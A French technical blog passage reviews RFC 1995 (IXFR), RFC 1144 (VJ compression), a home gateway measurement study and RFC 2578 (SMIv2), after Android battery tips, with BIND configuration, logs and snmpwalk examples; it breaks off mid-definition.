Une des plaies du HTC Desire est la faible capacité de la batterie. Si on joue beaucoup avec les multiples fonctions du téléphone, on est à sec avant 16h et j'ai donc dû acheter un autre chargeur pour en avoir un au bureau. C'est en partie dû au fait que le jouet est récent et que j'essaie donc beaucoup de trucs (Wifi, GPS, etc.). Pour gérer sa batterie, Android 2.2 vient avec deux outils très pratiques, le widget « Contrôle de l'alimentation » qui permet d'activer et de couper très facilement les services comme le WiFi, Bluetooth ou le GPS. Et le second est dans Paramètres -> À propos du téléphone -> Batterie, l'option « Utilisation de la batterie » qui permet d'avoir une jolie représentation graphique des services les plus consommateurs. Sur le market, on trouve en outre Battery Booster Lite qui permet de couper automatiquement les services la nuit, endormant ainsi le téléphone sans qu'il consomme de l'énergie. Comme plusieurs applications du Market, la version gratuite n'offre qu'une partie des services annoncés. C'est encore pire pour son concurrent Power Manager, que je n'ai donc pas retenu. Quant à Juice Defender, il ne peut même pas se configurer sans une connexion 3G. Viré également.

Une autre approche pour économiser la batterie est celle du gestionnaire d'applications. Il en existe beaucoup, la plupart permettent de tuer automatiquement les services désignés, avec liste de ceux à ne jamais tuer et ceux à tuer plus vite. Mes deux préférées sont Task Killer Pro et Advanced Task Killer. Un peu au pifomètre, j'ai retenu ce dernier. TaskKiller a l'air prometteur aussi. Je n'ai pas gardé longtemps Process Manager, dont les réglages sont uniquement dans une langue asiatique ou Task Manager, qui n'offre rien de particulier. En combinant ces gestionnaires d'applications, et un usage prudent, on peut tenir 48h.

Quand aux services de téléphonie sur IP, je les ai gardés pour un autre article.

À noter que toutes les documentations utilisateur en français sont disponibles en ligne. Quelles autres listes utiliser ? Pour les logiciels libres sur Android, il y a un bon article de Wikipédia. Sur quels forums aller pour en apprendre plus ? Membre de l'excellent réseau de sites Q&A StackExchange, il y a le très bon ForceClose. Il y a un canal IRC en anglais, #android sur Freenode, et des forums Web en français (que je n'ai pas testés, je n'aime pas les forums Web) sur http://android-france.fr/forum/. Comme sites Web en français, http://android-france.fr/, http://fr.androlib.com/ et http://www.frandroid.com/ sont intéressants. Si vous êtes un vrai geek et que vous voulez voir les sources des spécificités HTC, allez en http://developer.htc.com/ (celles d'Android, un logiciel libre, sont en http://source.android.com/). Et merci à Eric Jacoboni, Yves Agostini, Kevin Decherf, Jean-Baptiste Favre, Yves Rougy, Ollivier Robert , Claude Falguière, T1B0, Jean-Christophe Sirot, Stéphanie de Vanssay et Samuel Tardieu pour leurs conseils zavisés. Voici un sujet qui en suscite, des avis et de l'aide. :-)


L'article seul

RFC 1995: Incremental Zone Transfer in DNS

Date de publication du RFC : Août 1996
Auteur(s) du RFC : Masataka Ohta (Computer Center Tokyo Institute of Technology)
Chemin des normes
Première rédaction de cet article le 28 septembre 2010


Le mécanisme standard de transfert d'une zone DNS entre deux serveurs faisant autorité (depuis le maître vers l'esclave) est normalement le transfert de zones, dit AXFR, aujourd'hui normalisé dans le RFC 5936. Ce mécanisme convient parfaitement aux « petites zones » (de quelques centaines d'enregistrement au plus) mais achoppe, par exemple, lorsqu'un « gros » TLD veut pousser les changements du jour (ou de l'heure) vers tous ses esclaves. En raison, entre autre, de l'anycast, certains de ces esclaves sont situés dans des endroits pas très bien connectés (comme l'île de la Réunion) et l'envoi d'un fichier de la taille de celui de .fr (aujourd'hui, 1,8 millions de domaines et 190 Mo) peut prendre du temps. On peut transférer les zones par d'autres moyens que le DNS, par exemple rsync. Mais il existe une solution DNS standard (qui est celle utilisée par .fr), IXFR (Incremental Zone Transfer), normalisée dans ce RFC 1995.

Le principe est simple et résumé en section 2 du RFC. Lorsqu'un client veut un transfert (typiquement, parce qu'il est esclave et a appris que sa version de la zone était en retard), il envoie un message DNS de type IXFR (code 251, AXFR étant 252, cf. https://www.iana.org/assignments/dns-parameters) au maître qui lui transmet alors uniquement les nouveaux enregistrements. Le serveur IXFR (le maître) doit donc garder trace des changements entre les différentes versions, pour ne transmettre que ces changements (BIND ne le fait, par défaut, que si on utilise les mises à jour dynamiques du RFC 2136 ; autrement, il faut ajouter l'option ixfr-from-differences yes;). À noter qu'un serveur IXFR a toujours le droit de renvoyer la zone complète, par exemple si le client a un numéro de version trop vieux, ne correspondant plus à une version qui avait été gardée (voir la section 5).

Comme la réponse IXFR a des chances d'être de petite taille, le serveur a même le droit de répondre en UDP. Autrement, on utilise TCP, comme avec AXFR. Donc, l'algorithme recommandé est, pour le client, d'essayer en UDP d'abord, puis TCP.

La requête IXFR a le format DNS standard (section 3), la section Autorité contenant le SOA de la version courante chez le client. La réponse (section 4) ressemble beaucoup à une réponse AXFR. Elle est composée de séquences, chaque séquence commençant par l'ancien SOA, puis comportant les enregistrements supprimés, puis le nouvel enregistrement SOA, indiquant la version actuelle sur le maître, puis enfin les enregistrements ajoutés. Les séquences sont classés chronologiquement donc on peut voir la réponse IXFR comme un historique des changements. À noter que ce sont bien des enregistrements qui sont transmis, pas des RRsets. Si on a :

foobar  IN   NS   ns1.example.net.
        IN   NS   ns3.example.net.

et qu'on ajoute un serveur ns2.example.net, seul l'enregistrement NS de ce serveur aura besoin d'être transmis, pas les trois enregistrements du nouveau RRset.

La réponse commence, comme pour AXFR, par le SOA de la version locale du serveur mais le client peut savoir si sa demande IXFR a reçu une réponse IXFR ou AXFR en examinant le second enregistrement : si la réponse est incrémentale (IXFR), ce second enregistrement est un SOA.

Naturellement, le client IXFR ne doit mettre à jour sa copie locale qu'une fois qu'il a reçu tous les enregistrements. (Dit autrement, IXFR doit être atomique.)

La section 5 spécifie le comportement d'un serveur IXFR pour ce qui concerne les vieilles versions : il n'est évidemment pas obligé de les garder toutes et peut donc supprimer les plus anciennes, pour gagner de la place. C'est d'autant plus important qu'au bout d'un moment, les changements s'accumulant, la réponse IXFR deviendra plus longue que la réponse AXFR ! Remarquons aussi (section 6) que la réponse incrémentale n'est pas forcée de refléter l'histoire exacte des changements : un serveur a le droit de condenser plusieurs changements successifs en un seul. (Les exemples de la section 7 incluent une telle condensation.)

Voyons maintenant un exemple de mise en œuvre, entre deux BIND 9.7. Deux serveurs font autorité pour .fr. Sans IXFR, le transfert prend une demi-minute sur un Ethernet à 100 M/s (et bien plus longtemps avec des serveurs mal connectés au bout du monde ; il ne faut pas oublier que .fr a un serveur à Katmandou, un à Manille, etc). Sur le maître, on voit :

28-Sep-2010 10:54:35.388 client 192.0.2.97#56385: transfer of 'fr/IN': AXFR started
28-Sep-2010 10:55:00.162 client 192.0.2.97#56385: transfer of 'fr/IN': AXFR ended

Et sur l'esclave (tous les serveurs utilisent le port 9053, pour des tests, et pas le port standard 53 ; ainsi, le serveur esclave est configuré avec masters { 192.0.2.69 port 9053; };) :

28-Sep-2010 10:55:00.182 transfer of 'fr/IN' from 192.0.2.69#9053: \
                    Transfer completed: 2699 messages, 3965064 records, \
                    106151552 bytes, 24.857 secs (4270489 bytes/sec)

(Notez au passage que ce sont des enregistrements binaires DNS qui sont transférés, pas un fichier texte, ce qui explique la taille totale plus petite.)

Pour activer IXFR sur la maître, on modifie la configuration du serveur avec ixfr-from-differences yes; dans la directive zone :

zone "fr" {
        type master;
        file "fr";
        ixfr-from-differences yes;
};

On ne change rien sur le client IXFR : avec BIND, le client essaie IXFR par défaut. Sur le maître, le transfert est quasi-instantané :

28-Sep-2010 11:05:47.103 client 192.0.2.97#54496: transfer of 'fr/IN': IXFR started
28-Sep-2010 11:05:47.103 client 192.0.2.97#54496: transfer of 'fr/IN': IXFR ended

ce que confirme le journal de l'esclave, à qui il a suffi de transférer dix changements :

28-Sep-2010 11:05:47.049 transfer of 'fr/IN' from 192.0.2.69#9053: \
                Transfer completed: 1 messages, 10 records, \
                334 bytes, 0.004 secs (83500 bytes/sec)

(Note au passage : pour prévenir un serveur esclave de test, qui ne reçoit pas les NOTIFY du RFC 1996, qu'un changement a eu lieu chez le maître, le plus simple est d'envoyer un NOTIFY forcé. BIND ne permet pas de le faire facilement mais, si on a nsd, il suffit de faire un nsd-notify -p 9053 -z fr NOM-SERVEUR).

On peut aussi admirer le transfert incrémental avec tshark (l'option -d est nécessaire car on utilise un port alternatif). Un domaine a été ajouté, un autre retiré (les deux domaines avaient le même jeu de serveur) :

% tshark -d tcp.port==9053,dns -d udp.port==9053,dns  -r ixfr.pcap 
...
  3   0.001347 192.0.2.97 -> 192.0.2.69 DNS Standard query SOA fr
  4   0.001455 192.0.2.69 -> 192.0.2.97 DNS Standard query response SOA nsmaster.nic.fr
...
 10   0.002930 192.0.2.97 -> 192.0.2.69 DNS Standard query IXFR fr
...
 12   0.003089 192.0.2.69 -> 192.0.2.97 DNS Standard query response \
                       SOA nsmaster.nic.fr \
                       SOA nsmaster.nic.fr NS ns1.example.net NS ns3.example.net \
                       SOA nsmaster.nic.fr NS ns1.example.net NS ns3.example.net \
                       SOA nsmaster.nic.fr

On y voit bien le test initial du SOA, puis la requête du client, puis une séquence composée d'une partie « retrait » et d'une partie « ajouts ». Le fichier pcap complet est sur pcapr, en http://www.pcapr.net/view/bortzmeyer+pcapr/2010/8/2/6/ixfr.pcap.html.

Si le serveur refuse ou ne peut pas faire un transfert incrémental, le maître BIND indiquera :

28-Sep-2010 10:48:04.007 client 192.0.2.97#45524: transfer of 'fr/IN': AXFR-style IXFR started
28-Sep-2010 10:48:29.802 client 192.0.2.97#45524: transfer of 'fr/IN': AXFR-style IXFR ended

Et l'esclave recevra la totalité de la zone.

Les tests ici ont été faits avec BIND. Et avec nsd ? Il ne peut être qu'esclave : un maître nsd ne sait pas servir des transferts incrémentaux. Lorsque nsd est esclave, il essaie IXFR (en TCP par défaut mais on peut le configurer pour utiliser UDP) puis AXFR. (Il semble qu'il n'envoie pas de requête SOA avant la demande IXFR, la ligne 3 dans la trace Wireshark plus haut ; ce n'est en effet pas imposé par le RFC, puisque l'IXFR contient déjà le numéro de série connu du client.) On peut aussi lui demander de ne pas tenter IXFR :

zone:
        name: "langtag.net"
...
        request-xfr: AXFR 192.134.7.248 mykey

Ici, en raison du mot-clé AXFR, le serveur esclave ne tentera pas de faire de l'IXFR. Le même réglage, pour BIND, ne peut être que global au serveur (dans le bloc options, request-ixfr no;).

Le fait qu'un serveur puisse répondre à une demande IXFR par une copie complète de la zone peut être gênant dans certains cas. À la réunion IETF 75 de Stockholm en juillet 2009 a été présentée la proposition IXFR only (Internet-Draft draft-kerr-ixfr-only) qui normalisait un nouveau type de requête « IXFR seul » mais qui n'a pas encore été sérieusement pris en considération.


Téléchargez le RFC 1995


L'article seul

RFC 1144: Compressing TCP/IP headers for low-speed serial links

Date de publication du RFC : Février 1990
Auteur(s) du RFC : Van Jacobson (Lawrence Berkeley Laboratory)
Statut inconnu, probablement trop ancien
Première rédaction de cet article le 26 septembre 2010


Ce RFC n'est sans doute plus utilisé nulle part aujourd'hui mais, pendant des années, presque toutes les connexions à l'Internet depuis la maison (et, souvent, depuis le bureau), passaient par un lent modem, ce qui justifiait des efforts important pour comprimer les paquets, notamment (et c'était le but de de ce RFC), les en-têtes IP et TCP en profitant des diverses redondances qu'ils contiennent. La « compression Van Jacobson » (on voyait parfois dans les documentations « VJ compression »), documentée dans ce RFC, était un outil indispensable si on voulait pouvoir utiliser son modem de manière satisfaisante.

Contrairement à beaucoup de RFC de la grande époque, il est long (49 pages) car il y a beaucoup de détails techniques à spécifier (et il y a du code C à la fin). Comme plusieurs RFC de ce temps, il existe également en version PostScript, en http://www.rfc-editor.org/rfc/rfc1144.ps. Cette version est plus jolie et est donc recommandée pour la lecture de ce document difficile. Elle a en outre l'avantage de permettre l'inclusion de graphiques, comme la figure 8 qui indique le débit réel en fonction de la MTU.

La section 1 du RFC rappelle le contexte... de l'époque (1990). Des ordinateurs chez les particuliers (enfin, chez les plus riches), un Internet qui, certes, ne figurait pas sur l'écran radar des décideurs et des journalistes (surtout en France où l'Internet était mal vu et où il n'y en avait que pour le Minitel qui, contrairement aux techniques comme SLIP (RFC 1055) utilisées pour l'Internet sur modems, avait un débit asymétrique), des modems allant de 300 b/s (modems acoustiques) à 19 200 b/s (le record - non normalisé - de la norme V.32). Il existait avant ce RFC d'autres techniques de compression d'en-têtes (RFC 914) mais celle-ci était plus performante. À noter que le protocole « Van Jacobson » est spécifique à TCP, car il dépend du format d'en-tête de TCP, et de plusieurs fonctions de TCP, comme la réémission des paquets perdus, qui a permis de mettre aucune fonction de correction d'erreur. (Le RFC 2508 a proposé une méthode pour les autres protocoles de transport.)

Quel était le problème lorsqu'on se connectait à l'Internet via un modem, en utilisant des protocoles comme SLIP ? (PPP sera normalisé quelques mois plus tard, dans le RFC 1172, mais mettra très longtemps à être déployé.) Le problème, expliqué dans la section 2 du RFC, est que des applications interactives (telnet, à l'époque) et des applications transférant des données en bloc (NNTP, SMTP et FTP à l'époque) coexistent sur le câble et que les premières, qui exigent un bon temps de réponse, souffrent de la taille excessive des en-têtes (excessive par rapport au contenu « utile »). Si on se fixe un objectif (raisonnable pour une application interactive) de 100 à 200 ms de délai, on voit qu'un paquet TCP complet, avec ses en-têtes, est trop gros (sur le format des en-têtes, cf. RFC 791, section 3.1, pour IP et RFC 793, section 3.1, pour TCP). Le paquet fait 41 octets pour un seul caractère transmis (et autant pour l'écho effectué par le shell distant), ce qui nécessiterait 4 kb/s pour être transmis en moins de 200 ms. Même pour un modem de ce débit, si un transfert de données est en cours en même temps, les paquets de telnet peuvent avoir besoin d'attendre que la ligne soit libérée. Cela interdit de faire des paquets de données trop gros (ils bloqueraient la ligne pendant plus de 200 ms) et donc la taille relative des en-têtes est aussi un problème pour eux. Le cahier du charge du RFC était donc de permettre de faire du telnet sur des modems à 300 b/s. Un humain tapant environ cinq caractères par seconde impose au maximum cinq octets d'en-tête, ce qui permettrait de réduire la taille des paquets de transfert de données et donc de résoudre deux problèmes d'un coup.

Le protocole lui-même figure en section 3. Il n'est pas évident de comprimer les en-têtes IP et TCP. Contrairement aux protocoles OSI, chaque champ a une utilité et ne peut pas être simplement omis. En revanche, certains de ces champs sont constants au cours d'une même connexion TCP et certains évoluent de manière prédictible. Si les deux parties de la connexion gardent en mémoire l'état de celle-ci, il leur suffit de transmettre avec chaque paquet l'identificateur de la connexion et les champs qui ont changé de façon imprévue. Tout le reste peut être reconstitué localement. C'est sur cette observation que repose l'algorithme Van Jacobson. Après, il ne reste plus qu'à identifier un par un, pour chaque champ, s'il est constant, s'il change de manière prévisible, ou bien s'il peut être déduit de l'information données par d'autres couches (par exemple, le champ Total Length de l'en-tête IP est souvent doublé par une fonction de la couche 2 qui indique la même information). Comme exemple de champ qui change de manière prédictible, on peut citer les numéros de séquence TCP, qui s'incrémentent avec le nombre d'octets envoyés. À noter que toutes les informations vont du compresseur vers le décompresseur : il n'y a pas de rétroaction dans le protocole VJ.

Les détails pratiques figurent en section 3.2. Par exemple, 3.2.2 indique le format du paquet comprimé, 3.2.3 les actions du compresseur et 3.2.4 le mécanisme que doit suivre le décompresseur. Ce dernier doit appliquer aveuglément son algorithme, il ne peut pas demander confirmation ou éclaircissements au compresseur. Il existe quatre types de paquets :

  • TYPE_ERROR : la couche 2 indique que le paquet a été mal reçu. Le décompresseur le jette et compte sur le TCP à l'autre bout pour réémettre.
  • TYPE_IP : un paquet IP non-TCP, non modifié. L'algorithme VJ ne les comprime pas et le décompresseur n'a donc rien à faire.
  • UNCOMPRESSED_TCP (identifié par le champ « Protocole » de IP, normalement à 6 - pour TCP - et qui est ici l'index d'une connexion) : la connexion TCP en question vient juste de commencer ou bien un problème s'est produit, nécessitant une remise à zéro de l'état du compresseur. En recevant ce paquet, le décompresseur doit mettre à jour son état, enregistrer l'index de la connexion et les valeurs des en-têtes.
  • Autrement, le paquet est de type COMPRESSED_TCP et le décompresseur a alors le plus de travail à faire, puisqu'il doit reconstituer le paquet TCP complet (en regardant les valeurs qui avait été stockées pour cet index) qu'il passera au TCP local.

Tout cela, c'est très joli, si tout se passe bien. Mais s'il y a une erreur ? C'est fréquent avec les modems... La section 4 couvre ce problème. D'abord, il faut détecter l'erreur. Le principe de la compression étant de supprimer la redondance, la détection d'erreur, typiquement basée sur une information redondante, devient difficile. N'importe quel bruit aléatoire sur la ligne peut être « décompressé » en un paquet TCP/IP valide. La somme de contrôle, trop courte, n'est pas une protection suffisante : sur une ligne à 9 600 b/s, un parasite de 400 µs (ce qui est très court) va corrompre 16 bits, ce que la somme de contrôle va probablement rater. Le protocole VJ dépend donc essentiellement de la détection d'erreur de la couche 2. Un autre cas où un protocole fondé sur une rétroaction du décompresseur vers le compresseur ne marcherait pas est le cas où le paquet serait totalement détruit : le décompresseur ne peut alors même pas savoir qu'il y a eu un problème. Dans ce cas, c'est TCP qui détectera l'erreur, en ne recevant pas d'accusé de réception.

Une fois l'erreur détectée par le décompresseur, comment la rattraper (section 4.2) ? Le compresseur a la responsabilité d'envoyer un paquet UNCOMPRESSED_TCP pour signaler au décompresseur qu'il doit se resynchroniser. Comment le compresseur sait-il, lui, qu'un paquet est mal arrivé, ou pas arrivé du tout ? Il observe simplement les paquets TCP : si le numéro de séquence n'augmente pas (à part quelques cas spéciaux que le compresseur doit reconnaitre), c'est qu'il y a retransmission, et que des paquets ont été perdus. Le compresseur sait alors qu'il doit envoyer un paquet non comprimé. Le recevant, le décompresseur saura qu'il y a eu un problème et commencera un contexte neuf.

Le protocole VJ permet-il de configurer certains de ses paramètres ? Comme l'explique la section 5, il n'y en a pas beaucoup, car il n'y a pas de moyen de les transmettre entre les deux parties. Les deux paramètres possibles sont « compression activée ou pas » et nombre de contextes (de flux TCP simultanés) à conserver. Le premier paramètre (activer ou pas la compression VJ) ne se négocie pas, il doit donc être configuré de manière identique des deux côtés. À l'époque, c'était une source d'ennuis fréquents, qui se terminait souvent par « on va essayer avec et sans VJ et on verra bien lequel marche ». Le second paramètre est fixé à 16, avec juste une exception pour le changer si le protocole de couche 2,5 fournit un moyen pour cela (SLIP n'en fournit pas).

Quels sont les résultats obtenus effectivement par la compression VJ ? La section 5.3, très détaillée, fait la comparaison entre la compression VJ et une compression générique (Lempel-Ziv) appliquée à tout le paquet. Pour du trafic interactif (telnet), VJ l'emporte d'un facteur 3. Pour du trafic de données (FTP), c'est le contraire. La section 6 revient sur les performances du compresseur et mesure le temps pris sur les machines typiques de l'époque (Sun 3/60 ou DECstation 3100). La plupart des machines récentes (pour l'époque !) arrivaient à comprimer et à décomprimer à 64 kb/s (ce qui permettait même d'utiliser la compression VJ pour le RNIS).

Pour les programmeurs en C, l'annexe A fournit une mise en œuvre complète de l'algorithme, documentée très en détail (avec même un petit réglement de compte contre les machines qui osaient être petit-boutiennes comme le Vax). Elle était distribuée à l'époque dans CSLIP (mise en œuvre de SLIP avec compression). Une copie complète du code se trouve en ftp://ftp.ee.lbl.gov/cslip.tar.Z, à l'endroit exact indiqué par le RFC il y a vingt ans ! Bel existence de persistence d'URL ! (Par contre, l'adresse IP, indiquée dans le RFC, a changé, bon exemple du fait que les noms de domaine fournissent de la permanence et pas de la convivialité.)

Avec PPP, la compression VJ peut être négociée en toute sécurité (cf. RFC 1332, section 4). En revanche, SLIP n'ayant pas de mécanisme de négociation. L'annexe B suggère donc une méthode pour détecter automatiquement, à l'une des extrémités d'une liaison SLIP, si l'autre extrémité est en train de comprimer avec l'algorithme VJ. Cela permet, par exemple, d'avoir un « serveur » SLIP qui s'adapte automatiquement à des clients différents.

Aujourd'hui, l'algorithme VJ n'est plus utilisé. Des techniques plus perfectionnées l'ont remplacé, notamment ROHC (RFC 5795). Mais, pendant de nombreuses années, la plupart des connexions à la maison, ou dans des sites éloignées qui n'avaient pas d'autre liaison que le vieux réseau téléphonique, passaient par cet algorithme.

Et merci à Ludovic Rousseau, Pierre-Yves Lochou et Laurent Chemla pour m'avoir aidé lors de mes débuts avec la compression VJ !


Téléchargez le RFC 1144


L'article seul

Une étude des « boxes » qui connectent notre maison à l'Internet

Première rédaction de cet article le 23 septembre 2010


Nos réseaux à la maison sont connectés via des « boxes », fournis par le FAI ou bien choisies et installées par nous, et dont il n'est pas facile de donner une définition précise. Routeur ? Commutateur ? Pare-feu ? Modem ? C'est en fait un peu de tout ça. Non seulement la box typique ne respecte pas le modèle en couches mais elle ne documente en général pas exactement ce qu'elle fait, et, étant en général munie d'un logiciel programmé avec les pieds par des anonymes, elle le fait souvent mal. La box typique ne respecte pas les RFC, même ceux qui visent spécifiquement ce genre d'équipements (comme les RFC 5625 ou ceux du groupe Behave comme le RFC 5383). D'où cette étude de chercheurs, notamment finlandais, qui essaie de déterminer expérimentalement les caractéristiques d'un certaine nombre de boxes qu'on trouve sur le marché en Europe (des D-Link, des Netgear, des Linksys, etc).

L'article se nomme « An Experimental Study of Home Gateway Characteristics » par Seppo Hätönen, Aki Nyrhinen, Lars Eggert, Stephen Strowes, Pasi Sarolahti et Markku Kojo. Un exposé résumant ses conclusions avait été fait à la réunion IETF 78 à Maastricht et les transparents sont en ligne (les graphiques y sont plus clairs que dans l'article, notamment avec l'ajout des recommandations IETF)..

Il y a déjà eu plusieurs études du même genre, par exemple dans le contexte de DNSSEC, comme celle pour le SSAC de l'ICANN (la section 2 de l'article donne une bonne liste des études analogues.) Dans l'étude « finlandaise », 34 boxes ont été achetées et installées dans un réseau, entre une machine « cliente » et une machine « serveur », toutes les deux utilisant Linux. Le client a une adresse privée, et se connecte en IPv4 au serveur via la fonction NAT de la box (section 3).

Que montre cette étude ? Je ne citerai pas tous les résultats mais, parmi les plus intéressants :

  • Lors de « connexions » en UDP, la durée pendant laquelle une correspondance est gardée (en l'absence de toute communication) dans la table du NAT (ce qui permet donc aux réponses de revenir au client) varie de 30 à 700 secondes (le RFC 4787, section 4.3, demande un minimum de 120 secondes).
  • Pour TCP, c'est un peu mieux, avec des timeouts variant de 240 secondes à une durée inconnue (les auteurs de l'article ont attendu 24 heures sans que la connexion soit coupée). La moitié des boxes ne respectent pas le minimum du RFC 5382, section 5 (deux heures, quatre minutes).
  • La réécriture des messages ICMP (qui peuvent inclure des adresses IP qui n'ont pas de sens en dehors du domaine de routage local, à cause du NAT) varie beaucoup d'une box à l'autre, là encore en ignorant les recommandations du RFC 5508, section 4.2.
  • Une des plaies des boxes est qu'elles contribuent à l'ossification de l'Internet. Peu d'entre elles opèrent comme de purs routeurs, qui font passer des paquets IP en toute transparence, sans se soucier de ce qu'ils portent. Il est donc très difficile de déployer dans l'Internet un nouveau protocole de transport. Ainsi, un service qui serait accessible uniquement en SCTP (protocole probablement meilleur que le traditionnel TCP dans beaucoup de cas, cf. RFC 4960) ne serait pas joignable depuis beaucoup de réseaux. En effet, la moitié des boxes du test ne laissent pas du tout passer SCTP. (Les auteurs de l'article se réjouissent néanmoins de ce résultat, car ils s'attendaient à bien pire.) En revanche, DCCP (concurrent d'UDP normalisé dans le RFC 4340) ne passe à travers aucune des boxes.
  • Enfin, les auteurs ont fait des tests DNS (la plupart des boxes relaient le DNS, au lieu de le laisser passer intact) et trouvent à peu près les mêmes résultats que dans les études qui avaient précédé le déploiement de DNSSEC (par exemple, moins de la moitié des boxes accepte de faire du DNS sur TCP).

Y aurait-il d'autres résultats avec les boxes distribuées directement par les FAI comme la Livebox ou la Freebox ? D'abord, rien ne dit que ces boxes sont différentes de celles qu'on trouve en supermarché. Bien souvent, le FAI a juste mis son logo sur une box standard. Pour le cas où le FAI construit réellement sa box (cas de la Freebox), il faudrait tester pour être sûr. Cela serait certainement un test intéressant mais pas forcément facile ; par exemple, la Freebox utilise un protocole non-standard pour se connecter au réseau et ne rentrerait donc pas bien dans le banc de test fait par les chercheurs finlandais. (J'ai juste regardé que, sur ma Freebox v5, les paquets SCTP sortent bien, avec une adresse IP source NATée.)

Bref, des résultats peu satisfaisants, voire catastrophiques. Une des conséquences pratiques de cette mauvaise gestion, par la plupart des boxes, de tout ce qui est considéré comme inhabituel (comme DCCP) est que le succès de nouveaux protocoles ou services dans l'Internet (SCTP, DNSSEC, IPv6) est rendu presque inatteignable.

Merci à Alexandre Archambault pour ses pertinentes remarques. Un expert anonyme ayant fait des remarques sur un blog, il y a une bonne réponse d'un des auteurs de l'article.


L'article seul

RFC 2578: Structure of Management Information Version 2 (SMIv2)

Date de publication du RFC : Avril 1999
Auteur(s) du RFC : Keith McCloghrie (Cisco Systems, Inc.), David Perkins (SNMPinfo), Juergen Schoenwaelder (TU Braunschweig)
Chemin des normes
Première rédaction de cet article le 23 septembre 2010


Le SMI est le cadre général, dans ce cadre on écrit des descriptions des objets gérés, les MIB, on les interroge avec le protocole SNMP. L'essentiel de la gestion technique de l'Internet, en tout cas de la partie qui consiste à interroger les équipements réseau, se fait ainsi, d'où l'importance de ce RFC. Il documente la version 2 de la SMI (SMIv2), la version SMIv1 était décrite dans le RFC 1155, qui reste d'actualité pour certaines MIB (c'est le cas de la MIB-II, la MIB de base, normalisée dans le RFC 1213, même si elle a connu des évolutions comme celle du RFC 2863). (À noter que la première description de la SMIv2 était dans le RFC 1902, que notre RFC 2578 remplace.) La structure du RFC 2578 est très différente de celle du RFC 1155 et, à mon avis, moins concrète. Cela rend très difficile de voir les changements importants entre SMIv1 et SMIv2, d'autant plus que le RFC 2578 ne comporte pas de chapitre sur les changements.

Notre RFC décrit donc le SMI, le cadre de base de la description d'informations qu'on gère, typiquement avec SNMP. Il y a longtemps que la ligne officielle de l'IAB est que tout protocole Internet soit gérable, et ait donc une MIB, écrite selon les règles du SMI (section 1). Les sections 1 et 3 rappellent des principes du SMI comme le choix de l'utilisation d'un sous-ensemble de ASN.1 pour décrire les classes d'objets gérés. De même, le SMI se veut extensible, car tout ne peut pas être prévu à l'avance. Les MIB permettent de définir trois sortes de choses, les modules (ainsi le RFC 5813 spécifie le module forcesMib pour le protocole ForCES,Forwarding and Control Element Separation, RFC 3746), les objets (le même RFC 5813 crée un objet forcesLatestProtocolVersionSupported, dont la valeur est un entier indiquant la version du protocole) et les notifications (comme, toujours dans ForCES, forcesAssociationEntryUp qui indique qu'une association entre deux éléments du protocole devient opérationnelle).

Toutes les définitions de ce RFC, en ASN.1, sont rassemblées dans la section 2.

Qu'est-ce qu'une MIB et qu'est-ce qu'on met dedans ? La MIB, écrite en ASN.1, rassemble des objets qui ont tous un nom, plus exactement un OBJECT IDENTIFIER (OID, section 3.5). Ce nom est une suite de chiffres, alloués hiérarchiquement (ce qui garantit l'unicité, cf. section 4). Certains de ces chiffres ont aussi parfois une étiquette en lettres. Ainsi, le nœud 1 est étiquetté iso et géré par l'ISO. Tous les objets Internet sont sous le sous-arbre 1.3.6.1 (3 étant alloué par l'ISO à d'autres organisations et 6 étant le DoD qui financait le projet, 1 revenant à l'IAB). En ASN.1, cela se dit :

internet    OBJECT IDENTIFIER ::= { iso(1) org(3) dod(6) 1 }

et les objets officiels sont sous le sous-arbre 1.3.6.1.2. Pour prendre un exemple d'objet, ifOperStatus, l'état effectif d'une interface réseau (par exemple une carte Ethernet) est { ifEntry 8 }, c'est-à-dire 1.3.6.1.2.1.2.2.1.8 puisque ifEntry était 1.3.6.1.2.1.2.2.1 (il faut se rappeler qu'une MIB est arborescente). Chaque interface réseau recevra ensuite un OBJECT IDENTIFIER à elle, 1.3.6.1.2.1.2.2.1.8.1, 1.3.6.1.2.1.2.2.1.8.1, etc. Voici un exemple vu avec snmpwalk (-O n lui dit d'afficher les OID, pas les étiquettes), sur une machine qui a quatre interfaces réseaux dont deux fonctionnent :

% snmpwalk -v 1  -O n -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
.1.3.6.1.2.1.2.2.1.8.1 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.2 = INTEGER: up(1)
.1.3.6.1.2.1.2.2.1.8.3 = INTEGER: down(2)
.1.3.6.1.2.1.2.2.1.8.4 = INTEGER: down(2)

Sans -O n, on aurait eu :

% snmpwalk -v 1   -c tressecret 192.0.2.68 1.3.6.1.2.1.2.2.1.8
IF-MIB::ifOperStatus.1 = INTEGER: up(1)
IF-MIB::ifOperStatus.2 = INTEGER: up(1)
IF-MIB::ifOperStatus.3 = INTEGER: down(2)
IF-MIB::ifOperStatus.4 = INTEGER: down(2)

Si 1.3.6.1.2 désigne les objets « officiels », 1.3.6.1.3 (section 4 du RFC) est pour les expérimentations et 1.3.6.1.4 pour les objets privés et 1.3.6.1.4.1 pour les objets spécifiques à une entreprise. Par exemple, si Netaktiv a obtenu le numéro 9319, ses objets seront sous 1.3.6.1.4.1.9319.

L'objet a aussi une syntaxe (section 7), par exemple INTEGER, OCTET STRING (voir la section 7.1.2 pour une discussion subtile sur sa taille maximale), BITS (un tableau de bits), OBJECT IDENTIFIER ou NULL. C'est un sous-ensemble d'ASN.1 qui est utilisé pour bâtir des définitions à partir de ces types primitifs, en les organisant en séquences ou en tables (section 7.1.12). Par exemple, l'état d'une interface réseau, ifOperStatus, déjà cité, est défini par le RFC 1213 comme INTEGER. Voici la définition complète :

          ifOperStatus OBJECT-TYPE
              SYNTAX  INTEGER {
                          up(1),       -- ready to pass packets
                          down(2),
                          testing(3)   -- in some test mode
                      }
              ACCESS  read-only
              STATUS  mandatory
              DESCRIPTION
                      "The current operational state of the interface.
                      The testing(3) state indicates that no operational
                      packets can be passed."
              ::= { ifEntry 8 }

Notre RFC définit aussi des types à partir de ces types primitifs, types qui pourront être utilisés par toutes les MIB. C'est le cas de :

  • IpAddress (section 7.1.5, et limitée à IPv4, le type Ipv6Address est apparu dans le RFC 2465), une OCTET STRING de quatre octets (IPv6 n'était pas encore inventé),
  • CounterN (section 7.1.6 et 7.1.10), un entier positif sur 32 (Counter32) ou 64 (Counter64) bits, croissant de manière monotone modulo sa valeur maximale.
  • Gauge (section 3.2.3.4) qui, contrairement à Counter, peut monter et descendre.

Un exemple d'utilisation de BITS (section 7.1.4) figure dans le RFC 5601 (FCS : somme de contrôle):

pwFcsRetentionStatus OBJECT-TYPE
     SYNTAX   BITS {
